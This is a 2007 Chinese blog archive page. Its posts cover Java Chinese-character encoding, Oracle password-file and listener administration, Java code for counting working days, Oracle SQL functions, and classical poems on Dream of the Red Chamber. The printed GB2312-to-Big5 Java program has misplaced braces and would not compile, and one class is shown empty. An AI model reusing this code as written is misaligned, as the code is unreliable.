      2.如果在转换字符串时不采用系统缺省编码方式,而是直接采用 “GBK” 或“GB2312”,则在 A 情况下程序仍然可正常运行,在 B 情况下,系统出现错误:

    UnsupportedEncodingException。

      3.在客户机上,把 JDK 的 CLASSES.ZIP 解压后,放在另一个目录中, CLASSPATH 只包含该目录。然后一边逐步删除该目录中的 .CLASS 文件,另一边运行测试程序,最后发现在一千多个 CLASS 文件中,只有一个是必不可少的,该文件是:

    sun.io.CharToByteDoubleByte.class。

      将该文件拷到服务器端和其它的类放在一起,并在程序的开头 IMPORT 它,在 B 情况下程序仍然无法正常运行。

      4.在 A 情况下,如果在 CLASSPTH 中去掉 sun.io.CharToByteDoubleByte.class ,则程序运行时测得默认编码方式为“8859-1”,否则为 “GBK” 或 “GB2312” 。

      如果 JDK 的版本为1.2以上的话,在 B 情况下遇到的问题得到了很好的解决,测试的步骤同上,有兴趣的读者可以尝试一下。

      Java 中文问题的根源分析及解决

      在简体中文 MS Windows 98 + JDK 1.3 下,可以用 System.getProperties() 得到 Java 运行环境的一些基本属性,类 PoorChinese 可以帮助我们得到这些属性。

      类 PoorChinese 的源代码:

      public class PoorChinese {}

      执行 java PoorChinese 后,我们会得到:

      系统变量 file.encoding 的值为 GBK ,user.language 的值为 zh , user.region 的值为 CN ,这些系统变量的值决定了系统默认的编码方式是 GBK 。

      在上述系统中,下面的代码将 GB2312 文件转换成 Big5 文件,它们能够帮助我们理解 Java 中汉字编码的转化:

    import java.io.*;
    import java.util.*;
    public class gb2big5
    {
     static int iCharNum=0;
     public static void main(String[] args) {
      System.out.println("Input GB2312 file, output Big5 file.");
      if (args.length!=2)
      {
       System.err.println("Usage: jview gb2big5 gbfile big5file");
       System.exit(1);
       String inputString = readInput(args[0]);
       writeOutput(inputString,args[1]);
       System.out.println("Number of Characters in file: "+iCharNum+".");
      }
      static void writeOutput(String str, String strOutFile)
      {
       try
       {
        FileOutputStream fos = new FileOutputStream(strOutFile);
        Writer out = new OutputStreamWriter(fos, "Big5");
        out.write(str);
        out.close();
       }
       catch (IOException e)
       {
        e.printStackTrace();
        e.printStackTrace();
       }
      }
      static String readInput(String strInFile)
      {
       StringBuffer buffer = new StringBuffer();
       try
       {
        FileInputStream fis = new FileInputStream(strInFile);
        InputStreamReader isr = new InputStreamReader(fis, "GB2312");
        Reader in = new BufferedReader(isr);
        int ch;
        while ((ch = in.read()) > -1)
        {
         iCharNum += 1; buffer.append((char)ch);
        }
        in.close();
        return buffer.toString();
       }
       catch (IOException e)
       {
        e.printStackTrace();
        return null;
       }
      }
     }

      编码转化的过程如下:

      GB2312------------------>Unicode------------->Big5

      执行 java gb2big5 gb.txt big5.txt ,如果 gb.txt 的内容是“今天星期三”,则得到的文件 big5.txt 中的字符能够正确显示;而如果 gb.txt 的内容是“情人节快乐”,则得到的文件 big5.txt 中对应于“节”和“乐”的字符都是符号“?”(0x3F),可见 sun.io.ByteToCharGB2312 和 sun.io.CharToByteBig5 这两个基本类并没有编好。

      正如上例一样, Java 的基本类也可能存在问题。由于国际化的工作并不是在国内完成的,所以在这些基本类发布之前,没有经过严格的测试,所以对中文字符的支持并不像 Java Soft 所声称的那样完美。前不久,我的一位技术上的朋友发信给我说,他终于找到了 Java Servlet 中文问题的根源。两周以来,他一直为 Java Servlet 的中文问题所困扰,因为每面对一个含有中文字符的字符串都必须进行强制转换才能够得到正确的结果(这好象是大家公认的唯一的解决办法)。

      后来,他确实不想如此继续安分下去了,因为这样的事情确实不应该是高级程序员所要做的工作,他就找出 Servlet 解码的源代码进行分析,因为他怀疑问题就出在解码这部分。经过四个小时的奋斗,他终于找到了问题的根源所在。原来他的怀疑是正确的, Servlet 的解码部分完全没有考虑双字节,直接把 %XX 当作一个字符。(原来 Java Soft 也会犯这幺低级的错误!)

      如果你对这个问题有兴趣或者遇到了同样的烦恼的话,你可以按照他的步骤 对Servlet.jar 进行修改:

      找到源代码 HttpUtils 中的 static private String parseName ,在返回前将 sb(StringBuffer) 复制成 byte bs[] ,然后 return new String(bs,”GB2312”)。作上述修改后就需要自己解码了:

    HashTable form=HttpUtils .parseQueryString(request.getQueryString())或者

    form=HttpUtils.parsePostData(……)

      千万别忘了编译后放到 Servlet.jar 里面。

      关于 Java 中文问题的总结

      Java 编程语言成长于网络世界,这就要求 Java 对多国字符有很好的支持。 Java 编程语言适应了计算的网络化的需求,为它能够在网络世界迅速成长奠定了坚实的基础。 Java 的缔造者 (Java Soft) 已经考虑到 Java 编程语言对多国字符的支持,只是现在的解决方案有很多缺陷在里面,需要我们付诸一些补偿性的措施。而世界标准化组织也在努力把人类所有的文字统一在一种编码之中,其中一种方案是 ISO10646 ,它用四个字节来表示一个字符。当然,在这种方案未被采用之前,还是希望 Java Soft 能够严格地测试它的产品,为用户带来更多的方便。

      附一个用于从数据库和网络中取出 中文乱码的处理函数,入参是有问题的字符串,出参是问题已经解决了的字符串。
    posted @ 2007-10-02 08:17 jadmin 阅读(55) | 评论 (0)编辑 收藏
    ---- 在Oracle数据库系统中,用户如果要以特权用户身份(INTERNAL/SYSDBA/SYSOPER)登录Oracle数据库可以有两种身份验证的方法:即使用与操作系统集成的身份验证或使用Oracle数据库的密码文件进行身份验证。因此,管理好密码文件,对于控制授权用户从远端或本机登录Oracle数据库系统,执行数据库管理工作,具有重要的意义。

    ---- Oracle数据库的密码文件存放有超级用户INTERNAL/SYS的口令及其他特权用户的用户名/口令,它一般存放在ORACLE_HOME\DATABASE目录下。

    一、 密码文件的创建:
    ---- 在使用Oracle Instance Manager创建一数据库实例的时侯,在ORACLE_HOME\DATABASE目录下还自动创建了一个与之对应的密码文件,文件名为PWDSID.ORA,其中SID代表相应的Oracle数据库系统标识符。此密码文件是进行初始数据库管理工作的基础。在此之后,管理员也可以根据需要,使用工具ORAPWD.EXE手工创建密码文件,命令格式如下:
    C:\ >ORAPWD FILE=< FILENAME > PASSWORD
    =< PASSWORD > ENTRIES=< MAX_USERS >

    ---- 各命令参数的含义为:
    ---- FILENAME:密码文件名;

    ---- PASSWORD:设置INTERNAL/SYS帐号的口令;

    ---- MAX_USERS:密码文件中可以存放的最大用户数,对应于允许以SYSDBA/SYSOPER权限登录数据库的最大用户数。由于在以后的维护中,若用户数超出了此限制,则需要重建密码文件,所以此参数可以根据需要设置得大一些。

    ---- 有了密码文件之后,需要设置初始化参数REMOTE_LOGIN_PASSWORDFILE来控制密码文件的使用状态。

    二、 设置初始化参数REMOTE_LOGIN_PASSWORDFILE:
    ---- 在Oracle数据库实例的初始化参数文件中,此参数控制着密码文件的使用及其状态。它可以有以下几个选项:
    NONE:指示Oracle系统不使用密码文件,特权用户的登录通过操作系统进行身份验证;

    EXCLUSIVE:指示只有一个数据库实例可以使用此密码文件。只有在此设置下的密码文件可以包含有除INTERNAL/SYS以外的用户信息,即允许将系统权限SYSOPER/SYSDBA授予除INTERNAL/SYS以外的其他用户。

    SHARED:指示可有多个数据库实例可以使用此密码文件。在此设置下只有INTERNAL/SYS帐号能被密码文件识别,即使文件中存有其他用户的信息,也不允许他们以SYSOPER/SYSDBA的权限登录。此设置为缺省值。
    ---- 在REMOTE_LOGIN_PASSWORDFILE参数设置为EXCLUSIVE、SHARED情况下,Oracle系统搜索密码文件的次序为:在系统注册库中查找ORA_SID_PWFILE参数值(它为密码文件的全路径名);若未找到,则查找ORA_PWFILE参数值;若仍未找到,则使用缺省值ORACLE_HOME\DATABASE\PWDSID.ORA;其中的SID代表相应的Oracle数据库系统标识符。
    三、 向密码文件中增加、删除用户:
    ---- 当初始化参数REMOTE_LOGIN_PASSWORDFILE设置为EXCLUSIVE时,系统允许除INTERNAL/SYS以外的其他用户以管理员身份从远端或本机登录到Oracle数据库系统,执行数据库管理工作;这些用户名必须存在于密码文件中,系统才能识别他们。由于不管是在创建数据库实例时自动创建的密码文件,还是使用工具ORAPWD.EXE手工创建的密码文件,都只包含INTERNAL/SYS用户的信息;为此,在实际操作中,可能需要向密码文件添加或删除其他用户帐号。
    ---- 由于仅被授予SYSOPER/SYSDBA系统权限的用户才存在于密码文件中,所以当向某一用户授予或收回SYSOPER/SYSDBA系统权限时,他们的帐号也将相应地被加入到密码文件或从密码文件中删除。由此,向密码文件中增加或删除某一用户,实际上也就是对某一用户授予或收回SYSOPER/SYSDBA系统权限。

    ---- 要进行此项授权操作,需使用SYSDBA权限(或INTERNAL帐号)连入数据库,且初始化参数REMOTE_LOGIN_PASSWORDFILE的设置必须为EXCLUSIVE。具体操作步骤如下:

    创建相应的密码文件;

    设置初始化参数REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE;

    使用SYSDBA权限登录:
    CONNECT SYS/internal_user_passsword AS SYSDBA;

    启动数据库实例并打开数据库;

    创建相应用户帐号,对其授权(包括SYSOPER和SYSDBA):
    授予权限:GRANT SYSDBA TO user_name;
    收回权限:REVOKE SYSDBA FROM user_name;

    现在这些用户可以以管理员身份登录数据库系统了;
    四、 使用密码文件登录:
    ---- 有了密码文件后,用户就可以使用密码文件以SYSOPER/SYSDBA权限登录Oracle数据库实例了,注意初始化参数REMOTE_LOGIN_PASSWORDFILE应设置为EXCLUSIVE或SHARED。任何用户以SYSOPER/SYSDBA的权限登录后,将位于SYS用户的Schema之下,以下为两个登录的例子:
    ---- 1. 以管理员身份登录:

    ---- 假设用户scott已被授予SYSDBA权限,则他可以使用以下命令登录:

    ---- CONNECT scott/tiger AS SYSDBA

    ---- 2. 以INTERNAL身份登录:

    ---- CONNECT INTERNAL/INTERNAL_PASSWORD

    五、 密码文件的维护:
    ---- 1. 查看密码文件中的成员:
    ---- 可以通过查询视图V$PWFILE_USERS来获取拥有SYSOPER/SYSDBA系统权限的用户的信息,表中SYSOPER/SYSDBA列的取值TRUE/FALSE表示此用户是否拥有相应的权限。这些用户也就是相应地存在于密码文件中的成员。

    ---- 2. 扩展密码文件的用户数量:

    ---- 当向密码文件添加的帐号数目超过创建密码文件时所定的限制(即ORAPWD.EXE工具的MAX_USERS参数)时,为扩展密码文件的用户数限制,需重建密码文件,具体步骤如下:

    ---- a) 查询视图V$PWFILE_USERS,记录下拥有SYSOPER/SYSDBA系统权限的用户信息;

    ---- b) 关闭数据库;

    ---- c) 删除密码文件;

    ---- d) 用ORAPWD.EXE新建一密码文件;

    ---- e) 将步骤a中获取的用户添加到密码文件中。

    ---- 3. 修改密码文件的状态:

    ---- 密码文件的状态信息存放于此文件中,当它被创建时,它的缺省状态为SHARED。可以通过改变初始化参数REMOTE_LOGIN_PASSWORDFILE的设置改变密码文件的状态。当启动数据库事例时,Oracle系统从初始化参数文件中读取REMOTE_LOGIN_PASSWORDFILE参数的设置;当加载数据库时,系统将此参数与口令文件的状态进行比较,如果不同,则更新密码文件的状态。若计划允许从多台客户机上启动数据库实例,由于各客户机上必须有初始化参数文件,所以应确保各客户机上的初始化参数文件的一致性,以避免意外地改变了密码文件的状态,造成数据库登陆的失败。

    ---- 4. 修改密码文件的存储位置:

    ---- 密码文件的存放位置可以根据需要进行移动,但作此修改后,应相应修改系统注册库有关指向密码文件存放位置的参数或环境变量的设置。

    ---- 5. 删除密码文件:

    ---- 在删除密码文件前,应确保当前运行的各数据库实例的初始化参数REMOTE_LOGIN_PASSWORDFILE皆设置为NONE。在删除密码文件后,若想要以管理员身份连入数据库的话,则必须使用操作系统验证的方法进行登录。
    posted @ 2007-09-29 12:10 jadmin 阅读(87) | 评论 (0)编辑 收藏
    1、在计算机 开始--->管理-->服务中没有看到 OracleOraHome92TNSListener 服务,但服务已经启动
    2、C:\>lsnrctl start 执行完后报open service error。然后在计算机 开始--->管理-->服务中看到  了 OracleOraHome92TNSListener 服务
    3、运行regedit.exe启动注册表编辑器,在HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/下的Services和CurrentControlSet/Services下找到OracleOraHome92TNSListener项,在右边窗口按右键,新建/字符串,取名ImagePath。
    双击新见的建,在“数值数据”项输入D:\oracle\ora92\bin\TNSLSNR.EXE(根据你自己的实际情况进行修改),确定完成。
    再次在服务中双击打开OracleOraHome92TNSListener的服务看到其“可执行文件的路径”一栏已经显示了其正确的值。这时你可以启动监听了。
    4、C:>tnsping 数据库SID。看看tns服务没有起来。如果没有起来,用下面的命令
    c:\>lsnrctl
    lsnrctl>start把这个服务起动起来。

    c:\>lsnrctl start 后open service error错误消失,但例程中有一个状态为UNKNOWN,另一个为READY.命令执行成功。

    PL/SQL Developer连接Oracle报错:ORA-12514: TNS:监听程序当前无法识别连接描述符中请求的服务

    解决办法:

      首先重启下对应的数据库监听服务(OracleOraDb<?xml:namespace prefix = st1 />10g_home1TNSListener)和数据库服务(OracleServiceORCL),如果还没解决,就按下面的进行操作:

       1.打开%Oracle安装目录%/network/admin/listener.ora文件(C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\listener.ora
       2.
    添加:

    (SID_DESC =

        (GLOBAL_DBNAME = ORCL)

        (ORACLE_HOME = C:\oracle\product\10.2.0\db_1)  

        (SID_NAME = ORCL)

        )
       3.
    最后文件改成

    SID_LIST_LISTENER =

    (SID_LIST =

        (SID_DESC =

          (SID_NAME = PLSExtProc)

          (ORACLE_HOME = C:\oracle\product\10.2.0\db_1)

          (PROGRAM = extproc)

        )

       (SID_DESC =


        (GLOBAL_DBNAME = ORCL)

        (ORACLE_HOME = C:\oracle\product\10.2.0\db_1)  

        (SID_NAME = ORCL)

        )

    )

    LISTENER =

    (DESCRIPTION_LIST =

        (DESCRIPTION =

          (ADDRESS = (PROTOCOL = TCP)(HOST = zyk)(PORT = 1521))

        )

    )

    以上粗体部件为增加的内容,修改后重启监听服务后即可。

    posted @ 2007-09-29 02:57 jadmin 阅读(103) | 评论 (0)编辑 收藏

    主要思路:

    对于任意2个日期比如:date_start=2006-10-1、date_end=2006-10-14 ,首先计算这连个日期之间的时间间隔(天数),然后分别对date_start 和date_end 取得它们下一个星期一的日期,这样就可以得到一个新的可以整除7的完整日期间隔(这个新的日期间隔已经把星期几的问题剔出掉了),换一种说法就是我们可以得到,这两个新的日期之间的周数,拿这个周数乘以5就是工作日期了(tmpWorkingDays)。但是这个日期并不是我们所要的日期,接下来我们要做的就是计算date_start,date_end这两个日期对于根据它们所产生的新的日期之间的时间偏移量,date_start的偏移量(date_start_change)是需要加的,而date_end的这个偏移量(date_end_change)是需要减去的。 最后我们只要用tmpWorkingDays+date_start_change-date_end_change就是我们所要求的实际工作日了。以下是所有实现代码(两个日期跨年也没有问题)。

    希望我的方法能对大家有用,应为这个算法没有考虑到节假日的问题,我以后会像办法处理,呵呵,今天就到这里了。

    package com.date.utlit;

    import java.text.SimpleDateFormat;
    import java.util.Calendar;
    import java.util.Date;
    import java.util.GregorianCalendar;
    /**
    * 计算任意2个日期内的工作日(没有考虑到国定假日)
    * @author user
    *
    */
    public class DateCal {

    /**
        * @param args
        */
    public static void main(String[] args) {
        try {

         String strDateStart = "2006-10-1";
         String strDateEnd = "2006-10-14";
         SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
         Date date_start = sdf.parse(strDateStart);
         Date date_end = sdf.parse(strDateEnd);
         DateCal app = new DateCal();
         Calendar cal_start = Calendar.getInstance();
         Calendar cal_end = Calendar.getInstance();
         cal_start.setTime(date_start);
         cal_end.setTime(date_end);
         System.out.println("星期-->" + app.getChineseWeek(cal_start)
           + " 日期-->" + cal_start.get(Calendar.YEAR) + "-"
           + (cal_start.get(Calendar.MONTH) + 1) + "-"
           + cal_start.get(Calendar.DAY_OF_MONTH));
         System.out.println("星期-->" + app.getChineseWeek(cal_end) + " 日期-->"
           + cal_end.get(Calendar.YEAR) + "-"
           + (cal_end.get(Calendar.MONTH) + 1) + "-"
           + cal_end.get(Calendar.DAY_OF_MONTH));
         System.out.println("工作日为-->"
           + app.getWorkingDay(cal_start, cal_end));
         System.out.println("休息日-->"+app.getHolidays(cal_start, cal_end));
        } catch (Exception e) {
         // TODO: handle exception
        }
    }

    public int getDaysBetween(java.util.Calendar d1, java.util.Calendar d2) {
        if (d1.after(d2)) { // swap dates so that d1 is start and d2 is end
         java.util.Calendar swap = d1;
         d1 = d2;
         d2 = swap;
        }
        int days = d2.get(java.util.Calendar.DAY_OF_YEAR)
          - d1.get(java.util.Calendar.DAY_OF_YEAR);
        int y2 = d2.get(java.util.Calendar.YEAR);
        if (d1.get(java.util.Calendar.YEAR) != y2) {
         d1 = (java.util.Calendar) d1.clone();
         do {
          days += d1.getActualMaximum(java.util.Calendar.DAY_OF_YEAR);
          d1.add(java.util.Calendar.YEAR, 1);
         } while (d1.get(java.util.Calendar.YEAR) != y2);
        }
        return days;
    }

    /**
        * 计算2个日期之间的相隔天数
        * @param d1
        * @param d2
        * @return
        */
    public int getWorkingDay(java.util.Calendar d1, java.util.Calendar d2) {
        int result = -1;
        if (d1.after(d2)) { // swap dates so that d1 is start and d2 is end
         java.util.Calendar swap = d1;
         d1 = d2;
         d2 = swap;
        }

        int betweendays = getDaysBetween(d1, d2);

      
        int charge_date = 0;
        int charge_start_date = 0;//开始日期的日期偏移量
        int charge_end_date = 0;//结束日期的日期偏移量
         // 日期不在同一个日期内
         int stmp;
         int etmp;
         stmp = 7 - d1.get(Calendar.DAY_OF_WEEK);
         etmp = 7 - d2.get(Calendar.DAY_OF_WEEK);
         if (stmp != 0 && stmp != 6) {// 开始日期为星期六和星期日时偏移量为0
          charge_start_date = stmp - 1;
         }
         if (etmp != 0 && etmp != 6) {// 结束日期为星期六和星期日时偏移量为0
          charge_end_date = etmp - 1;
         }
    //    }
        result = (getDaysBetween(this.getNextMonday(d1), this.getNextMonday(d2)) / 7)
          * 5 + charge_start_date - charge_end_date;
        //System.out.println("charge_start_date>" + charge_start_date);
        //System.out.println("charge_end_date>" + charge_end_date);
        //System.out.println("between day is-->" + betweendays);
        return result;
    }

    public String getChineseWeek(Calendar date) {
        final String dayNames[] = { "星期日", "星期一", "星期二", "星期三", "星期四", "星期五",
          "星期六" };

        int dayOfWeek = date.get(Calendar.DAY_OF_WEEK);

        // System.out.println(dayNames[dayOfWeek - 1]);
        return dayNames[dayOfWeek - 1];

    }

    /**
        * 获得日期的下一个星期一的日期
        *
        * @param date
        * @return
        */
    public Calendar getNextMonday(Calendar date) {
        Calendar result = null;
        result = date;
        do {
         result = (Calendar) result.clone();
         result.add(Calendar.DATE, 1);
        } while (result.get(Calendar.DAY_OF_WEEK) != 2);
        return result;
    }

    /**
        *
        * @param d1
        * @param d2
        * @return
        */
    public int getHolidays(Calendar d1,Calendar d2){
        return this.getDaysBetween(d1, d2)-this.getWorkingDay(d1, d2);
      
    }

    }

    posted @ 2007-09-28 22:33 jadmin 阅读(62) | 评论 (0)编辑 收藏
    数值函数:
    abs(m) m的绝对值
    mod(m,n) m被n除后的余数
    power(m,n) m的n次方
    round(m[,n]) m四舍五入至小数点后n位的值(n缺省为0)
    trunc(m[,n]) m截断n位小数位的值(n缺省为0)
    --------------------------------------------------------------------------------

    字符函数:
    initcap(st) 返回st将每个单词的首字母大写,所有其他字母小写
    lower(st) 返回st将每个单词的字母全部小写
    upper(st) 返回st将每个单词的字母全部大写
    concat(st1,st2) 返回st为st2接st1的末尾(可用操作符"||")
    lpad(st1,n[,st2]) 返回右对齐的st,st为在st1的左边用st2填充直至长度为n,st2的缺省为空格
    rpad(st1,n[,st2]) 返回左对齐的st,st为在st1的右边用st2填充直至长度为n,st2的缺省为空格
    ltrim(st[,set]) 返回st,st为从左边删除set中字符直到第一个不是set中的字符。缺省时,指的是空格
    rtrim(st[,set]) 返回st,st为从右边删除set中字符直到第一个不是set中的字符。缺省时,指的是空格
    replace(st,search_st[,replace_st]) 将每次在st中出现的search_st用replace_st替换,返回一个st。缺省时,删除search_st substr(st,m[,n]) n=返回st串的子串,从m位置开始,取n个字符长。缺省时,一直返回到st末端
    length(st) 数值,返回st中的字符数
    instr(st1,st2[,m[,n]]) 数值,返回st1从第m字符开始,st2第n次出现的位置,m及n的缺省值为1 例:
         1. select initcap('THOMAS'),initcap('thomas') from test; initca initca ------ ------ Thomas Thomas
         2. select concat('abc','def') "first" from test; first ----- abcdef
         3. select 'abc'||' '||'def' "first" from test; first ----- abc def
         4. select lpad(name,10),rpad(name,5,'*') from test; lpad(name,10) rpad(name,5,'*') ------------ ---------------- mmx     mmx** abcdef abcde
         5. 去掉地址字段末端的点及单词st和rd select rtrim(address,'. st rd') from test
         6. select name,replace(name,'a','*') from test; name replace(name,'a','*') ---- --------------------- great gre*t
         7. select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test; a b ------- ------- bald bear bearisol
         8. select name,instr(name,' ') a,instr(name,' ',1,2) b from test; name a b ------- -------- --------- li lei 3 0 l i l 2 4 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

    转换函数:
    nvl(m,n) 如果m值为null,返回n,否则返回m
    to_char(m[,fmt]) m从一个数值转换为指定格式的字符串fmt缺省时,fmt值的宽度正好能容纳所有的有效数字 to_number(st[,fmt]) st从字符型数据转换成按指定格式的数值,缺省时数值格式串的大小正好为整个数附: to_char()函数的格式: --------------------------------- 符号 说明 --------------------------------- 9 每个9代表结果中的一位数字 0 代表要显示的先导0 $ 美元符号打印在数的左边 L 任意的当地货币符号 . 打印十进制的小数点 , 打印代表千分位的逗号 --------------------------------- 例:
    1. select to_number('123.45')+to_number('234.56') form test; to_number('123.45')+to_number('234.56') ---------------------------------------- 358.01 2. select to_char(987654321) from test; to_char(987654321) ------------------ 987654321 3. select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test; a b c ------- ---------- ----------- $123 $54,321 $9,874,321 4. select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test; a b c --------- ---------- ------------ 1,234.123 .457 1.100 --------------------------------------------------------------------------------

    分组函数:
    avg([distinct/all] n) 列n的平均值
    count([all] *) 返回查询范围内的行数包括重复值和空值
    count([distinct/all] n) 非空值的行数
    max([distinct/all] n) 该列或表达式的最大值
    min([distinct/all] n) 该列或表达式的最小值
    stdev([distinct/all] n) 该列或表达式的标准偏差,忽略空值
    sum([distinct/all] n) 该列或表达式的总和
    variance([distinct/all] n) 该列或表达式的方差,忽略空值 --------------------------------------------------------------------------------

    日期函数: >
    add_months(d,n) 日期d加n个月
    last_day(d) 包含d的月份的最后一天的日期
    month_between(d,e) 日期d与e之间的月份数,e先于d
    new_time(d,a,b) a时区的日期和时间d在b时区的日期和时间
    next_day(d,day) 比日期d晚,由day指定的周几的日期
    sysdate 当前的系统日期和时间
    greatest(d1,d2,...dn) 给出的日期列表中最后的日期
    least(d1,k2,...dn) 给出的日期列表中最早的日期
    to_char(d [,fmt]) 日期d按fmt指定的格式转变成字符串
    to_date(st [,fmt]) 字符串st按fmt指定的格式转成日期值,若fmt忽略,st要用缺省格式
    round(d [,fmt]) 日期d按fmt指定格式舍入到最近的日期
    trunc(d [,fmt]) 日期d按fmt指定格式截断到最近的日期附:
    日期格式:--------------------------------
    格式代码 
    说明
    举例或可取值的范围--------------------------------
    DD 该月某一天 1-3 DY    
    三个大写字母表示的周几 SUN,...SAT DAY    完整的周几,大写英文 SUNDAY,...SATURDAY MM 月份 1-12 MON      三
    个大写字母表示的月份 JAN,...DEC MONTH 完整 JANUARY,...DECEMBER RM 月份的罗马数字 I,...XII YY或YYYY 两位,四位数字年 HH:MI:SS   时:分:秒 HH12或HH24  以12小时或24小时显示 MI      分 SS      秒 AM或PM    上下午指示符 SP      后缀SP要求拼写出任何数值字段 TH      后缀TH表示添加的数字是序数 4th,1st FM 前缀对月或日或年值,禁止填充---------------------------------例:
    1. 下一个周五的日期 select next_day(sysdate,6) from test; 2. 两个月前的今天的日期 select add_months(sysdate,-2) from test;
    posted @ 2007-09-28 18:00 jadmin 阅读(62) | 评论 (0)编辑 收藏
    壹.呤红篇(红搂梦十二支曲)---一.呤<红搂梦>"引子"

    1.开辟鸿蒙情种生,情浓风月奈何天.愚衷谁遣翻添剧,悼玉悲金尘世缘.

    2.身心物否奈何天,忏悔情场曲解言.势溃利崩今世恨,四家结局尽哀怜.

    3.十二曲情绝可怜,红搂梦引泪涟涟.悲哀寂寞愤愁极,误尽韶华多少年.

    4.一部红搂千古恨,支支曲调诉衷纭.人寰无极因何故,苦乐酸甜年复年.

    5.兴尽悲来过后哀,人生结局使人骇.红颜艳艳天娇慧,误入情场悔不该.

    壹.呤红篇(红搂梦十二支曲)---二.呤"终身误"

    1.青根山峰顽石珍,灵河仙草绛珠身.相逢总是天真对,梦里难忘心里人.

    2.人说宝钗金玉缘,难忘竟是绛珠仙.阴差阳错终生苦,换栋偷梁终恨天.

    3.正统规身愿勿违,背经叛道自成其.婚姻自主难能贵,封建其时误尽余.

    4.移花接木王熙风,毁稿焚诗肠断时.鼓里良缘原是梦,醒来恸哭吊灵悲.

    5.卿卿我我忆当时,泪落荷锄花葬之.共读西厢曾几日,瑶琴不见实堪悲.

    壹.呤红篇(红搂梦十二支曲)---三.呤"枉凝眉"

    1.仙葩闻苑惜芳华,美玉无瑕证卞家.若说奇缘真不假,为何偏遇此奇葩.

    2.若说奇缘偏遇她,相逢心事话虚差.空劳牵挂空嗟讶,水里月光镜里花.

    3.万千心事从何诉,雁去燕来几度春.正值飞红花逝水,琼楼几度忆亲人.

    4.凝眉却是缘何事,屡屡诗成咏美人.一个空劳一个挂,天阶徒自看星辰.

    5.凝眉柢事欠情亏,我亦痴情大觉非.试问眼中多少泪,春流到夏几多回.

    6.凝眉深处忆非非,愁去愁来总自痴.叛逆道同同建爱,真心纯洁自无亏.

    7.婚姻政治互相谋,家世相同门户投.儿女同行难遂愿,终生悔恨感其由.

    8.王氏夫人熙风诡,大权操在伊心怀.爱情从此成悲剧,落入空门宝玉乖.

    9.绛珠仙草黄泉赴,频吊灵魂泪不干.遗恨终生何所谓,鼓钟经卷透心寒.

    10.枉自凝眉千百度,何心何意竟何之.何年何月花飞际,何地何天相去随.

    壹.呤红篇(红搂梦十二支曲)---四.呤"恨无常"

    1.荣华正茂赋青春,燕舞莺歌彩蝶频.烈火烹油大有得,鲜花着锦德妃珍.

    2.珍珠宝玉嵌玲珑,忧似黄莺囚入笼.统治集团为己利,娇身姿艳荐皇宫.

    3.贾府之门有靠山,仕途官场好售奸.回家之日荣华极,那个不惜天府攀.

    4.德才贤孝德贤妃,风藻尚书女史稀.荣府高堂贵显极,大观园耀乐何之.

    壹.呤红篇(红搂梦十二支曲)---五.呤"分骨肉"

    1.才自清明志自高,探春智慧胜诸曹.清风明月常相咏,调理家常总自豪.

    2.大厦将倾欲补天,祗缘尘世世情颠.身居琼阁有鲲志,欲出人头地涌先.

    3.封建末时万事非,狂澜欲挽费心机.闺中贤淑天真女,经世奇才才德施.

    4.一年容易又秋风,翠袖天寒易至冬.欲假他山诚不易,皆因自古有穷通.

    5.自古穷通何有定,悲欢离合岂无缘.命途多舛逢遭遇,天假前因作镜悬.

    6.虫鱼门户自良家,秋月春风度度华.远适他方终是恨,东皇误嫁悔何差.

    7.东风无力百花斜,蜂蝶有心逐丽华.雨雨风风谁作主,生非薄命不为花.

    8.各自纷飞奈若何,分奔离析感磋跎.心机费尽空捞月,潦倒乾坤我泣歌.

    9.一帆风顺路三千,骨肉分离痛故国.但愿爷娘莫念女,平安各保莫牵连.

    10.山水遥迢奴去也,身神消损误残年.人生离合竟如此,目断山高各一天.


    壹.呤红篇(红搂梦十二支曲)---六.呤"乐中悲"

    1.史氏湘云命苦殃,生来从小令双亡.家虽富贵谁人养,史鼎叔家爱不香.

    2.春风秋月等闲度,儿女情怀未系将.月貌花颜姿夭夭,天真烂漫意情芳.

    3.花宫月貌意情芳,咏月呤诗桃李香.最是撩人心绪处,栏杆独倚费思量.

    4.霁月风光照玉堂,性情豪爽度宏量.天真妖冶临风际,花欲言兮玉欲香.

    5.天真窕窈自天香,如愿东床如意郎.你我卿卿天比翼,前程地久与天长.

    6.老天为啥太荒唐,如意郎君早夭亡.天不由人何惨酷,年年月月泪双行.

    7.父母双亡夫夭亡,飘零花落水随将.贾家亲戚虽名府,寄以斯身无别望.

    8.身世坎坷命自伤,途穷湘水固湘江.多磨好事终难得,浮落高唐散雾茫.

    9.磋跎身世感沧桑,变换无穷恨命殃.泡影浮云何足虑,地天日月自消长.

    10.天地无仁残且酷,日无光彩月偏阴.鲜花虽美纷纷坠,满地残英任雨淋.


    壹.呤红篇(红搂梦十二支曲)---七.呤"世难容"

    1.窈窕身材如女仙,月宫有意任回旋.身居府院繁华处,大厦红楼梦好天.

    2.仕宦之家身世贤,才华出众赛神仙.天生孤僻人言鲜,气质如兰情意绵.

    3.质本为兰气洁馨,妙玉正是女娇星.他生未卜今生愿,落人红尘情惜惺.

    4.过分净洁俗凡嫌,高尚情操人妒贤.世时茫茫纷乱仄,当歌当泣诉琴弦.

    5.红尘总是老红尘,辜负华年绰约身.世道斯时多混浊,仙妹转眼变庸人.

    6.瞬息之间繁转湮,当时社会太私夤.妙玉本是天真女,落入尼庵避世尘.

    7.青灯一盏诵经频,人世无闻修后因.何必王孙公子叹,再生梦里化真人.

    8.碌碌红尘违尔愿,淖污畏陷早抽身.佛门静地空空也,超脱凡尘净度贫.

    9.无作无为度此身,天真红粉变尼人.荣华富贵如尘土,喜怒乐哀无别论.

    10.仕宦之家小姐身,穷途潦倒有原因.逃禅虽属归真法,净土难能净洁氤.

    11.昔时之事莫今量,消极何言没有方.如若尔身值此世,尔能展法度身芳.

    壹.呤红篇(红搂梦十二支曲)---八.呤"喜冤家"

    1. 何喜冤家冤恨长,中山狼本狠心狼.贪而无厌居心险,兽面蛇心黑肚肠.

    2.趋炎附势恶如魔,残暴荒淫罪孽多.可恨恶狼孙绍祖,天仙娇女吞泥窝.

